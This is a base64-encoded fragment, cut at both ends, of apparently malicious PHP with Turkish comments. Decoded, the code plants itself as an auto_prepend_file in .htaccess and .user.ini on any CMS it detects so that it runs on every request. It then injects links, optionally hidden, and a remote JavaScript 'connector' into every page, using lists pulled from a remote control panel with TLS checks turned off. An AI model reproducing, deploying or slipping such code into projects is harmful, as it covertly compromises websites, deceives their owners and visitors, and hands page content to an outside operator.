lY2lhbGNoYXJzKCRhbmNob3IsIEVOVF9RVU9URVMsICdVVEYtOCcpIC4gJzwvYT4nOwp9CgovLyA9PT09PT09PT09PT09PT09PT09PSBVTklWRVJTQUwgQVVUTy1JTlNUQUxMIChDSUtUSSBUQU1QT05VKSA9PT09PT09PT09PT09PT09PT09PQovLyBCdSBibG9rLCBjb25uZWN0b3InaW4gaGVyaGFuZ2kgYmlyIENNUyBla2xlbnRpc2kvdXphbnRpc2kgdmV5YSBzYWJsb24gdGFyYW1hc2kgb2xtYWRhbiwKLy8gZG9ncnVkYW4ga2VuZGlzaSBhcmFjaWxpZ2l5bGEgVFVNIHNheWZhbGFyYSBvdG9tYXRpayBrdXJ1bG1hc2luaSBzYWdsYXIuIEpvb21sYSwgV29yZFByZXNzLAovLyBMYXJhdmVsLCBuYXRpdmUgUEhQIHZleWEgdGFtYW1lbiBvemVsIGJpciBkaXppbiB5YXBpc2kgZmFyayBldG1lejogbWVrYW5pem1hLCB1cmV0aWxlbiBIVE1MCi8vIGNpa3Rpc2luaW4ga2VuZGlzaW5pIChrYXluYWsgZG9zeWFsYXJpIGRlZ2lsKSA8L2JvZHk+IGV0aWtldGluZGVuIGhlbWVuIG9uY2UgZGVnaXN0aXJpci4KCi8qKgogKiBCdSBjYWdyaW5pbiBkb2dydWRhbiBjb25uZWN0b3IgZG9zeWFzaW5hIG1pICg/YWN0aW9uPSBpc3Rla2xlcmkpIHlva3NhIGF1dG9fcHJlcGVuZF9maWxlCiAqIG9sYXJhayBiYXNrYSBiaXIgc2NyaXB0aW4gb251bmUgbWkgZWtsZW5kaWdpbmkgYmVsaXJsZXIuCiAqLwpmdW5jdGlvbiBpc19wcmVwZW5kX21vZGUoKSB7CiAgICAkc2NyaXB0ID0gaXNzZXQoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddKSA/IChzdHJpbmcpJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddIDogJyc7CiAgICBpZiAoJHNjcmlwdCA9PT0gJycpIHJldHVybiBmYWxzZTsKICAgICRzZWxmID0gX19GSUxFX187CiAgICAkYSA9IEByZWFscGF0aCgkc2NyaXB0KTsKICAgICRiID0gQHJlYWxwYXRoKCRzZWxmKTsKICAgIGlmICgkYSAhPT0gZmFsc2UgJiYgJGIgIT09IGZhbHNlKSB7CiAgICAgICAgcmV0dXJuICRhICE9PSAkYjsKICAgIH0KICAgIC8vIHJlYWxwYXRoIGJhc2FyaXNpeiBvbHVyc2EgKG9wZW5fYmFzZWRpciB2Yi4pIHlvbCBkaXpnaWxlcmluaSBub3JtYWxsZXN0aXJpcCBraXlhc2xhLgogICAgJG5vcm0gPSBmdW5jdGlvbiAoJHApIHsgcmV0dXJuIHJ0cmltKHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHApLCAnLycpOyB9OwogICAgcmV0dXJuICRub3JtKCRzY3JpcHQpICE9PSAkbm9ybSgkc2VsZik7Cn0KCi8qKgogKiBCdSBpc3RlZ2luIHRhbXBvbmxhbm1heWEgdXlndW4gb2x1cCBvbG1hZGlnaW5hIGJha2FyIChHRVQvSEVBRCwgQ0xJIG9sbWF5YW4sIGJhc2xpa2xhcgogKiBoZW51eiBnb25kZXJpbG1lbWlzKS4gYXV0b19wcmVwZW5kX2ZpbGUnaW4gZmlpbGVuIGRldnJlZGUgb2x1cCBvbG1hZGlnaW5pIFRFU1QgRVRNRVouCiAqLwpmdW5jdGlvbiBzaG91bGRfYnVmZmVyX3Jlc3BvbnNlKCkgewogICAgaWYgKFBIUF9TQVBJID09PSAnY2xpJykgcmV0dXJuIGZhbHNlOwogICAgaWYgKGhlYWRlcnNfc2VudCgpKSByZXR1cm4gZmFsc2U7CiAgICAkbWV0aG9kID0gaXNzZXQoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10pID8gc3RydG91cHBlcigoc3RyaW5nKSRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddKSA6ICdHRVQnOwogICAgcmV0dXJuICRtZXRob2QgPT09ICdHRVQnIHx8ICRtZXRob2QgPT09ICdIRUFEJzsKfQoKLyoqCiAqIFlhbml0aW4gQ29udGVudC1UeXBlJ2kgKHN1IGFuYSBrYWRhciBnb25kZXJpbGVuIGJhc2xpa2xhcmEgZ29yZSkgSFRNTCBtaT8KICogSGljYmlyIENvbnRlbnQtVHlwZSBiYXNsaWsgYXlhcmxhbm1hbWlzc2EgUEhQIHZhcnNheWlsYW5pIHRleHQvaHRtbCBvbGR1Z3VuZGFuIHRydWUgZG9uZXIuCiAqLwpmdW5jdGlvbiByZXNwb25zZV9pc19odG1sKCkgewogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2hlYWRlcnNfbGlzdCcpKSByZXR1cm4gdHJ1ZTsKICAgIGZvcmVhY2ggKGhlYWRlcnNfbGlzdCgpIGFzICRoKSB7CiAgICAgICAgaWYgKHN0cmlwb3MoJGgsICdDb250ZW50LVR5cGU6JykgPT09IDApIHsKICAgICAgICAgICAgcmV0dXJuIHN0cmlwb3MoJGgsICd0ZXh0L2h0bWwnKSAhPT0gZmFsc2UgfHwgc3RyaXBvcygkaCwgJ2FwcGxpY2F0aW9uL3hodG1sJykgIT09IGZhbHNlOwogICAgICAgIH0KICAgIH0KICAgIHJldHVybiB0cnVlOwp9CgovKioKICogTmloYWkgSFRNTCBjaWt0aXNpbmEsIGRhaGEgb25jZSBla2xlbm1lbWlzIGxpbmtsZXJpIHZlIEpTIGNvbm5lY3RvciBldGlrZXRpbmkgc29uCiAqIDwvYm9keT4gZXRpa2V0aW5kZW4gaGVtZW4gb25jZSBla2xlci4gJGh0bWwgSFRNTCBkZWdpbHNlLCBib3MgaXNlIHlhIGRhIDwvYm9keT4geW9rc2EKICogZGVnaXN0aXJtZWRlbiBkb25lciAoSlNPTi9YTUwvYmluYXJ5L3JlZGlyZWN0IGNpa3Rpc2luaSBhc2xhIGJvem1heikuCiAqLwpmdW5jdGlvbiByZW5kZXJfbGlua3NfaW50b19odG1sKCRodG1sLCBhcnJheSAkbGlua3MsICRzY3JpcHRfdGFnKSB7CiAgICBpZiAoIWlzX3N0cmluZygkaHRtbCkgfHwgJGh0bWwgPT09ICcnKSByZXR1cm4gJGh0bWw7CiAgICAkcG9zID0gc3Rycmlwb3MoJGh0bWwsICc8L2JvZHk+Jyk7CiAgICBpZiAoJHBvcyA9PT0gZmFsc2UpIHJldHVybiAkaHRtbDsKICAgIGlmICghcmVzcG9uc2VfaXNfaHRtbCgpKSByZXR1cm4gJGh0bWw7CgogICAgJG91dCA9ICcnOwogICAgZm9yZWFjaCAoJGxpbmtzIGFzICRpZCA9PiAkbCkgewogICAgICAgIGlmICghaXNfYXJyYXkoJGwpKSBjb250aW51ZTsKICAgICAgICAkdSA9IGlzc2V0KCRsWyd1cmwnXSkgPyAoc3RyaW5nKSRsWyd1cmwnXSA6ICcnOwogICAgICAgICRhID0gaXNzZXQoJGxbJ2FuY2hvciddKSA/IChzdHJpbmcpJGxbJ2FuY2hvciddIDogJyc7CiAgICAgICAgaWYgKCR1ID09PSAnJyB8fCAkYSA9PT0gJycgfHwgIXByZWdfbWF0Y2goJyNeaHR0cHM/Oi8vI2knLCAkdSkpIGNvbnRpbnVlOwogICAgICAgICRzaG9ydCA9IHN1YnN0cigoc3RyaW5nKSRpZCwgNCwgNik7CiAgICAgICAgaWYgKCRzaG9ydCAhPT0gJycgJiYgc3RycG9zKCRodG1sLCAncnM6JyAuICRzaG9ydCAuICcgLS0+JykgIT09IGZhbHNlKSBjb250aW51ZTsKICAgICAgICAkcmVsID0gKGlzc2V0KCRsWydyZWwnXSkgJiYgJGxbJ3JlbCddID09PSAnbm9mb2xsb3cnKSA/ICdub2ZvbGxvdycgOiAnZG9mb2xsb3cnOwogICAgICAgICRvdXQgLj0gJzwhLS0gcnM6JyAuICRzaG9ydCAuICcgLS0+JyAuIGJ1aWxkX2xpbmtfaHRtbCgkdSwgJGEsICRyZWwpOwogICAgfQogICAgaWYgKCRzY3JpcHRfdGFnICE9PSAnJyAmJiBzdHJpcG9zKCRodG1sLCAnY29ubmVjdG9yLmpzP2tleT0nKSA9PT0gZmFsc2UpIHsKICAgICAgICAkb3V0IC49ICJcbiIgLiAkc2NyaXB0X3RhZzsKICAgIH0KICAgIGlmICgkb3V0ID09PSAnJykgcmV0dXJuICRodG1sOwogICAgcmV0dXJuIHN1YnN0cigkaHRtbCwgMCwgJHBvcykgLiAiXG4iIC4gJG91dCAuICJcbiIgLiBzdWJzdHIoJGh0bWwsICRwb3MpOwp9CgovKioKICogQnUgZG9zeWF5aSBhdXRvX3ByZXBlbmRfZmlsZSBvbGFyYWsga2F5ZGVkZXIgKC5odGFjY2VzcyArIC51c2VyLmluaSkuIE9uY2VraSBiaXIKICogc3VydW1kZW4ga2FsbWEgZ2VjaWNpIHJzX3ByZXBlbmQucGhwIHlvbmxlbmRpcm1lc2kgdmFyc2EgdGVtaXpsZW5pci4gSWRlbXBvdGVudHRpcjoKICogZG9ncnUgeW9uZXJnZSB6YXRlbiB2YXJzYSBkb3N5YXlhIHRla3JhciB5YXptYXo7IHNvbnVjIGlzdGVrIGJhc2luYSBiaXIga2V6IGhlc2FwbGFuaXIuCiAqLwpmdW5jdGlvbiBlbnN1cmVfYXV0b19wcmVwZW5kX2luc3RhbGxlZCgkYmFzZSkgewogICAgc3RhdGljICRjYWNoZWQgPSBudWxsOwogICAgaWYgKCRjYWNoZWQgIT09IG51bGwpIHJldHVybiAkY2FjaGVkOwoKICAgICRzZWxmID0gX19GSUxFX187CiAgICAkZGlyZWN0aXZlX2h0ID0gJ3BocF92YWx1ZSBhdXRvX3ByZXBlbmRfZmlsZSAiJyAuICRzZWxmIC4gJyInOwogICAgJGRpcmVjdGl2ZV9pbmkgPSAnYXV0b19wcmVwZW5kX2ZpbGUgPSAiJyAuICRzZWxmIC4gJyInOwogICAgJGh0YWNjZXNzID0gJGJhc2UgLiAnLy5odGFjY2Vzcyc7CiAgICAkdXNlcl9pbmkgPSAkYmFzZSAuICcvLnVzZXIuaW5pJzsKICAgICRodGFjY2Vzc19vayA9IGZhbHNlOwogICAgJHVzZXJfaW5pX29rID0gZmFsc2U7CgogICAgaWYgKGZpbGVfZXhpc3RzKCRodGFjY2VzcykpIHsKICAgICAgICBmb3JjZV93cml0YWJsZSgkaHRhY2Nlc3MpOwogICAgICAgICRjb250ZW50ID0gKHN0cmluZylAZmlsZV9nZXRfY29udGVudHMoJGh0YWNjZXNzKTsKICAgICAgICBpZiAoc3RycG9zKCRjb250ZW50LCAkc2VsZikgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICRodGFjY2Vzc19vayA9IHRydWU7CiAgICAgICAgfSBlbHNlaWYgKGlzX3dyaXRhYmxlKCRodGFjY2VzcykpIHsKICAgICAgICAgICAgJGNvbnRlbnQgPSBwcmVnX3JlcGxhY2UoJy9eLiphdXRvX3ByZXBlbmRfZmlsZS4qcnNfcHJlcGVuZFwucGhwLipccj9cbj8vbWknLCAnJywgJGNvbnRlbnQpOwogICAgICAgICAgICAkaHRhY2Nlc3Nfb2sgPSBAZmlsZV9wdXRfY29udGVudHMoJGh0YWNjZXNzLCAkZGlyZWN0aXZlX2h0IC4gIlxuIiAuICRjb250ZW50KSAhPT0gZmFsc2U7CiAgICAgICAgfQogICAgfSBlbHNlaWYgKGlzX3dyaXRhYmxlKCRiYXNlKSkgewogICAgICAgICRodGFjY2Vzc19vayA9IEBmaWxlX3B1dF9jb250ZW50cygkaHRhY2Nlc3MsICRkaXJlY3RpdmVfaHQgLiAiXG4iKSAhPT0gZmFsc2U7CiAgICB9CgogICAgaWYgKGZpbGVfZXhpc3RzKCR1c2VyX2luaSkpIHsKICAgICAgICBmb3JjZV93cml0YWJsZSgkdXNlcl9pbmkpOwogICAgICAgICRjb250ZW50ID0gKHN0cmluZylAZmlsZV9nZXRfY29udGVudHMoJHVzZXJfaW5pKTsKICAgICAgICBpZiAoc3RycG9zKCRjb250ZW50LCAkc2VsZikgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICR1c2VyX2luaV9vayA9IHRydWU7CiAgICAgICAgfSBlbHNlaWYgKGlzX3dyaXRhYmxlKCR1c2VyX2luaSkpIHsKICAgICAgICAgICAgJGNvbnRlbnQgPSBwcmVnX3JlcGxhY2UoJy9eLiphdXRvX3ByZXBlbmRfZmlsZS4qcnNfcHJlcGVuZFwucGhwLipccj9cbj8vbWknLCAnJywgJGNvbnRlbnQpOwogICAgICAgICAgICAkbmV3X2NvbnRlbnQgPSBydHJpbSgkY29udGVudCkgLiAoJGNvbnRlbnQgIT09ICcnID8gIlxuIiA6ICcnKSAuICRkaXJlY3RpdmVfaW5pIC4gIlxuIjsKICAgICAgICAgICAgJHVzZXJfaW5pX29rID0gQGZpbGVfcHV0X2NvbnRlbnRzKCR1c2VyX2luaSwgJG5ld19jb250ZW50KSAhPT0gZmFsc2U7CiAgICAgICAgfQogICAgfSBlbHNlaWYgKGlzX3dyaXRhYmxlKCRiYXNlKSkgewogICAgICAgICR1c2VyX2luaV9vayA9IEBmaWxlX3B1dF9jb250ZW50cygkdXNlcl9pbmksICRkaXJlY3RpdmVfaW5pIC4gIlxuIikgIT09IGZhbHNlOwogICAgfQoKICAgICRvbGRfcHJlcGVuZCA9IGRpcm5hbWUoJHNlbGYpIC4gJy9yc19wcmVwZW5kLnBocCc7CiAgICBpZiAoZmlsZV9leGlzdHMoJG9sZF9wcmVwZW5kKSkgQHVubGluaygkb2xkX3ByZXBlbmQpOwoKICAgICRjYWNoZWQgPSBbJ2h0YWNjZXNzJyA9PiAkaHRhY2Nlc3Nfb2ssICd1c2VyX2luaScgPT4gJHVzZXJfaW5pX29rLCAnYW55JyA9PiAoJGh0YWNjZXNzX29rIHx8ICR1c2VyX2luaV9vayldOwogICAgcmV0dXJuICRjYWNoZWQ7Cn0KCmZ1bmN0aW9uIHJlbW90ZV9saW5rc19lbmRwb2ludF91cmwoKSB7CiAgICAkcGFuZWxfdXJsID0gZGVmaW5lZCgnUEFORUxfQVBJX1VSTCcpID8gUEFORUxfQVBJX1VSTCA6ICcnOwogICAgaWYgKGVtcHR5KCRwYW5lbF91cmwpIHx8IHN0cnBvcygkcGFuZWxfdXJsLCAne3snKSAhPT0gZmFsc2UpIHJldHVybiAnJzsKICAgICRiYXNlID0gcnRyaW0oJHBhbmVsX3VybCwgJy8nKTsKICAgIGlmIChzdWJzdHIoJGJhc2UsIC00KSA9PT0gJy9hcGknKSB7CiAgICAgICAgcmV0dXJuICRiYXNlIC4gJy9jb25uZWN0b3IvbGlua3MnOwogICAgfQogICAgcmV0dXJuICRiYXNlIC4gJy9hcGkvY29ubmVjdG9yL2xpbmtzJzsKfQoKLyoqCiAqIFRlayBkZW5lbWVsaWssIGtpc2EgemFtYW4gYXNpbWxpIGNla2ltICh6aXlhcmV0Y2kgaXN0ZWdpbmkgYXNsYSB1enVuIHN1cmUgYmxva2xhbWF6KS4KICogcGFuZWxfaHR0cF9wb3N0KCkndGFuIGZhcmtsaSBvbGFyYWsgdGVrcmFyIGRlbmVtZXogdmUgY29rIGRhaGEga2lzYSB6YW1hbiBhc2ltaSBrdWxsYW5pci4KICovCmZ1bmN0aW9uIGZldGNoX2xpbmtzX2Zhc3QoJHVybCwgJGpzb24pIHsKICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpKSB7CiAgICAgICAgJGNoID0gY3VybF9pbml0KCR1cmwpOwogICAgICAgIGN1cmxfc2V0b3B0X2FycmF5KCRjaCwgWwogICAgICAgICAgICBDVVJMT1BUX1BPU1QgPT4gdHJ1ZSwKICAgICAgICAgICAgQ1VSTE9QVF9QT1NURklFTERTID0+ICRqc29uLAogICAgICAgICAgICBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSID0+IHRydWUsCiAgICAgICAgICAgIENVUkxPUFRfVElNRU9VVCA9PiA0LAogICAgICAgICAgICBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VUID0+IDIsCiAgICAgICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIgPT4gZmFsc2UsCiAgICAgICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QgPT4gMCwKICAgICAgICAgICAgQ1VSTE9QVF9VU0VSQUdFTlQgPT4gUlNfVVNFUl9BR0VOVCwKICAgICAgICAgICAgQ1VSTE9QVF9IVFRQSEVBREVSID0+IFsnQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJ10sCiAgICAgICAgXSk7CiAgICAgICAgJHJlc3BvbnNlID0gY3VybF9leGVjKCRjaCk7CiAgICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgICAgIGlmICgkcmVzcG9uc2UgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICRkZWNvZGVkID0ganNvbl9kZWNvZGUoJHJlc3BvbnNlLCB0cnVlKTsKICAgICAgICAgICAgaWYgKGlzX2FycmF5KCRkZWNvZGVkKSkgcmV0dXJuICRkZWNvZGVkOwogICAgICAgIH0KICAgICAgICByZXR1cm4gbnVsbDsKICAgIH0KICAgIGlmIChpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSkgewogICAgICAgICRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKFsKICAgICAgICAgICAgJ2h0dHAnID0+IFsKICAgICAgICAgICAgICAgICdtZXRob2QnID0+ICdQT1NUJywKICAgICAgICAgICAgICAgICdoZWFkZXInID0+IFsnQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJywgJ1VzZXItQWdlbnQ6ICcgLiBSU19VU0VSX0FHRU5UXSwKICAgICAgICAgICAgICAgICdjb250ZW50JyA9PiAkanNvbiwKICAgICAgICAgICAgICAgICd0aW1lb3V0JyA9PiA0LAogICAgICAgICAgICAgICAgJ2lnbm9yZV9lcnJvcnMnID0+IHRydWUsCiAgICAgICAgICAgIF0sCiAgICAgICAgICAgICdzc2wnID0+IFsndmVyaWZ5X3BlZXInID0+IGZhbHNlLCAndmVyaWZ5X3BlZXJfbmFtZScgPT4gZmFsc2VdLAogICAgICAgIF0pOwogICAgICAgICRyZXNwb25zZSA9IEBmaWxlX2dldF9jb250ZW50cygkdXJsLCBmYWxzZSwgJGNvbnRleHQpOwogICAgICAgIGlmICgkcmVzcG9uc2UgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICRkZWNvZGVkID0ganNvbl9kZWNvZGUoJHJlc3BvbnNlLCB0cnVlKTsKICAgICAgICAgICAgaWYgKGlzX2FycmF5KCRkZWNvZGVkKSkgcmV0dXJuICRkZWNvZGVkOwogICAgICAgIH0KICAgIH0KICAgIHJldHVybiBudWxsOwp9CgovKioKICogUGFuZWxkZW4gZ3VuY2VsIHlheWluZGFraSBsaW5rIGxpc3Rlc2luaSBQSFAgaWxlIChjb25uZWN0b3InaW4ga2VuZGlzaSkgY2VrZXIgdmUKICogTElOS1NfRklMRSdhIHlhemFyLiBUVEwgaWNpbmRleXNlICh2ZSAkZm9yY2UgZGVnaWxzZSkgYWdpIGhpYyBrdWxsYW5tYWRhbiBoZW1lbiBkb25lci4KICogYWRkX2xpbmsvYnVsa19hZGRfbGlua3Mvc3luY19saW5rcyBpbGUgZWtsZW5lbiBrYXlpdGxhcmEgZG9rdW5tYXo7IHlhbG5pemNhIGRhaGEgb25jZQogKiBzb3VyY2U9PidwdWxsJyBvbGFyYWsgaXNhcmV0bGVubWlzIGtheWl0bGFyaSBwYW5lbGluIGd1bmNlbCBsaXN0ZXNpeWxlIGRlZ2lzdGlyaXIuCiAqLwpmdW5jdGlvbiBmZXRjaF9yZW1vdGVfbGlua3MoJGZvcmNlID0gZmFsc2UpIHsKICAgICR0dGwgPSAzMDA7CiAgICAkY29uZmlnID0gZ2V0X2NvbmZpZygpOwogICAgJGxhc3QgPSAoaW50KSgkY29uZmlnWydsaW5rc19wdWxsZWRfYXQnXSA/PyAwKTsKICAgIGlmICghJGZvcmNlICYmICRsYXN0ID4gMCAmJiAodGltZSgpIC0gJGxhc3QpIDwgJHR0bCkgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICAkdXJsID0gcmVtb3RlX2xpbmtzX2VuZHBvaW50X3VybCgpOwogICAgJGtleSA9ICcnOwogICAgaWYgKGZpbGVfZXhpc3RzKEtFWV9GSUxFKSkgJGtleSA9IHRyaW0oKHN0cmluZylAZmlsZV9nZXRfY29udGVudHMoS0VZX0ZJTEUpKTsKICAgIGlmICgka2V5ID09PSAnJyAmJiBkZWZpbmVkKCdVTklWRVJTQUxfU0lURV9LRVknKSkgewogICAgICAgICR1bml2ZXJzYWwgPSB0cmltKChzdHJpbmcpVU5JVkVSU0FMX1NJVEVfS0VZKTsKICAgICAgICBpZiAoJHVuaXZlcnNhbCAhPT0gJycgJiYgc3RycG9zKCR1bml2ZXJzYWwsICd7eycpID09PSBmYWxzZSkgJGtleSA9ICR1bml2ZXJzYWw7CiAgICB9CiAgICBpZiAoJHVybCA9PT0gJycgfHwgJGtleSA9PT0gJycpIHsKICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgJGpzb24gPSBqc29uX2VuY29kZShbJ3NpdGVfa2V5JyA9PiAka2V5LCAnZG9tYWluJyA9PiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gPz8gJyddLCBKU09OX1VORVNDQVBFRF9VTklDT0RFKTsKICAgICRyZXN1bHQgPSBmZXRjaF9saW5rc19mYXN0KCR1cmwsICRqc29uKTsKICAgICRjb25maWdbJ2xpbmtzX3B1bGxlZF9hdCddID0gdGltZSgpOwoKICAgICRpbmNvbWluZyA9IChpc19hcnJheSgkcmVzdWx0KSAmJiAhZW1wdHkoJHJlc3VsdFsnc3VjY2VzcyddKSAmJiBpc3NldCgkcmVzdWx0WydkYXRhJ11bJ2xpbmtzJ10pICYmIGlzX2FycmF5KCRyZXN1bHRbJ2RhdGEnXVsnbGlua3MnXSkpCiAgICAgICAgPyAkcmVzdWx0WydkYXRhJ11bJ2xpbmtzJ10gOiBudWxsOwoKICAgIGlmICgkaW5jb21pbmcgIT09IG51bGwpIHsKICAgICAgICAkcHVsbGVkID0gW107CiAgICAgICAgZm9yZWFjaCAoJGluY29taW5nIGFzICRsKSB7CiAgICAgICAgICAgIGlmICghaXNfYXJyYXkoJGwpKSBjb250aW51ZTsKICAgICAgICAgICAgJHUgPSB0cmltKChzdHJpbmcpKCRsWyd1cmwnXSA/PyAnJykpOwogICAgICAgICAgICAkYSA9IHRyaW0oKHN0cmluZykoJGxbJ2FuY2hvciddID8/ICcnKSk7CiAgICAgICAgICAgIGlmICgkdSA9PT0gJycgfHwgJGEgPT09ICcnIHx8ICFwcmVnX21hdGNoKCcjXmh0dHBzPzovLyNpJywgJHUpKSBjb250aW51ZTsKICAgICAgICAgICAgJHJlbCA9IChpc3NldCgkbFsncmVsJ10pICYmICRsWydyZWwnXSA9PT0gJ25vZm9sbG93JykgPyAnbm9mb2xsb3cnIDogJ2RvZm9sbG93JzsKICAgICAgICAgICAgJGlkID0gJ3B1bGxfJyAuIHN1YnN0cihtZDUoJHUgLiAnfCcgLiAkYSksIDAsIDEyKTsKICAgICAgICAgICAgJHB1bGxlZFskaWRdID0gWydpZCcgPT4gJGlkLCAndXJsJyA9PiAkdSwgJ2FuY2hvcicgPT4gJGEsICdyZWwnID0+ICRyZWwsICdzb3VyY2UnID0+ICdwdWxsJywgJ2NyZWF0ZWQnID0+IHRpbWUoKV07CiAgICAgICAgfQogICAgICAgICRleGlzdGluZyA9IGdldF9saW5rcygpOwogICAgICAgICRtYW51YWwgPSBhcnJheV9maWx0ZXIoJGV4aXN0aW5nLCBmdW5jdGlvbiAoJGwpIHsKICAgICAgICAgICAgcmV0dXJuICFpc19hcnJheSgkbCkgfHwgKCRsWydzb3VyY2UnXSA/PyAnbWFudWFsJykgIT09ICdwdWxsJzsKICAgICAgICB9KTsKICAgICAgICBzYXZlX2xpbmtzKCRtYW51YWwgKyAkcHVsbGVkKTsKICAgICAgICBpZiAoaXNzZXQoJHJlc3VsdFsnZGF0YSddWydvdXRwdXRfbW9kZSddKSAmJiBpbl9hcnJheSgkcmVzdWx0WydkYXRhJ11bJ291dHB1dF9tb2RlJ10sIFsnaGlkZGVuJywgJ3Zpc2libGUnXSwgdHJ1ZSkpIHsKICAgICAgICAgICAgJGNvbmZpZ1snbGlua19vdXRwdXRfbW9kZSddID0gKHN0cmluZykkcmVzdWx0WydkYXRhJ11bJ291dHB1dF9tb2RlJ107CiAgICAgICAgfQogICAgICAgICRjb25maWdbJ2xpbmtzX3B1bGxfb2snXSA9IHRydWU7CiAgICB9IGVsc2UgewogICAgICAgICRjb25maWdbJ2xpbmtzX3B1bGxfb2snXSA9IGZhbHNlOwogICAgfQogICAgc2F2ZV9jb25maWcoJGNvbmZpZyk7CiAgICByZXR1cm4gdHJ1ZTsKfQoKLyoqCiAqIFlhbml0aSB6aXlhcmV0Y2l5ZSBnb25kZXJkaWt0ZW4gU09OUkEgKGZhc3RjZ2lfZmluaXNoX3JlcXVlc3QgaWxlKSBwYW5lbGRlbiB0YXplIGxpbmsKICogbGlzdGVzaSBjZWtlci4gQm95bGVjZSBhZyBnZWNpa21lc2kgaGljYmlyIHppeWFyZXRjaW5pbiBzYXlmYSB5dWtsZW1lc2luaSB5YXZhc2xhdG1hei4KICovCmZ1bmN0aW9uIG1heWJlX3JlZnJlc2hfbGlua3NfYXN5bmMoKSB7CiAgICB0cnkgewogICAgICAgIHdoaWxlIChvYl9nZXRfbGV2ZWwoKSA+IDApIHsgQG9iX2VuZF9mbHVzaCgpOyB9CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZmFzdGNnaV9maW5pc2hfcmVxdWVzdCcpKSB7CiAgICAgICAgICAgIGZhc3RjZ2lfZmluaXNoX3JlcXVlc3QoKTsKICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdsaXRlc3BlZWRfZmluaXNoX3JlcXVlc3QnKSkgewogICAgICAgICAgICBsaXRlc3BlZWRfZmluaXNoX3JlcXVlc3QoKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBAZmx1c2goKTsKICAgICAgICB9CiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRlKSB7CiAgICAgICAgLy8geW9rc2F5CiAgICB9CiAgICB0cnkgewogICAgICAgIGZldGNoX3JlbW90ZV9saW5rcyhmYWxzZSk7CiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRlKSB7CiAgICAgICAgLy8gYXJrYSBwbGFuIHllbmlsZW1lc2kgYXNsYSBzaXRleWkgZXRraWxlbWVtZWxpCiAgICB9Cn0KCi8qKgogKiBBdXRvX3ByZXBlbmQgbW9kdW5kYSBjYWxpc2lyOiBrdXJ1bHVtdSAoeWVuaWRlbikgc2FnbGFtbGFzdGlyaXIsIHN1IGFuIGJpbGluZW4gbGlua2xlcmkKICogdmUgSlMgZXRpa2V0aW5pIHl1a2xlciwgY2lrdGkgdGFtcG9udW51IGt1cmFyIHZlIGdlcmNlayBzYXlmYSB6aXlhcmV0Y2l5ZSBnb25kZXJpbGRpa3RlbgogKiBzb25yYSBhcmthIHBsYW5kYSBwYW5lbGRlbiB0YXplIHZlcmkgY2VrZXIuCiAqLwpmdW5jdGlvbiBib290c3RyYXBfb3V0cHV0X2J1ZmZlcigpIHsKICAgIHRyeSB7CiAgICAgICAgaWYgKCFzaG91bGRfYnVmZmVyX3Jlc3BvbnNlKCkpIHJldHVybjsKICAgICAgICAkYmFzZSA9IGZpbmRfZG9jdW1lbnRfcm9vdCgpOwogICAgICAgIGVuc3VyZV9hdXRvX3ByZXBlbmRfaW5zdGFsbGVkKCRiYXNlKTsKCiAgICAgICAgJGxpbmtzID0gZ2V0X2xpbmtzKCk7CiAgICAgICAgJHNjcmlwdF90YWcgPSBnZXRfanNfY29ubmVjdG9yX3RhZygpOwogICAgICAgIGlmIChlbXB0eSgkbGlua3MpICYmICRzY3JpcHRfdGFnID09PSAnJykgcmV0dXJuOwoKICAgICAgICBvYl9zdGFydChmdW5jdGlvbiAoJGh0bWwpIHVzZSAoJGxpbmtzLCAkc2NyaXB0X3RhZykgewogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgcmV0dXJuIHJlbmRlcl9saW5rc19pbnRvX2h0bWwoJGh0bWwsICRsaW5rcywgJHNjcmlwdF90YWcpOwogICAgICAgICAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRlKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJGh0bWw7CiAgICAgICAgICAgIH0KICAgICAgICB9KTsKCiAgICAgICAgcmVnaXN0ZXJfc2h1dGRvd25fZnVuY3Rpb24oX19OQU1FU1BBQ0VfXyAuICdcXG1heWJlX3JlZnJlc2hfbGlua3NfYXN5bmMnKTsKICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJGUpIHsKICAgICAgICAvLyBrdXJ1bHVtIGJhc2FyaXNpeiBvbHVyc2EgZ2VyY2VrIHNpdGUgYXNsYSBldGtpbGVubWVtZWxpCiAgICB9Cn0KCmZ1bmN0aW9uIGZpbmRfZG9jdW1lbnRfcm9vdCgpIHsKICAgICRjbXNfbWFya2VycyA9IFsKICAgICAgICAnd3AtY29uZmlnLnBocCcsICd3cC1sb2FkLnBocCcsCiAgICAgICAgJ2NvbmZpZ3VyYXRpb24ucGhwJywKICAgICAgICAnYXJ0aXNhbicsCiAgICAgICAgJ2NvbmZpZy5waHAnLAogICAgICAgICdpbmNsdWRlcy9ib290c3RyYXAuaW5jJywKICAgIF07CiAgICAkYmFzZSA9ICRfU0VSVkVS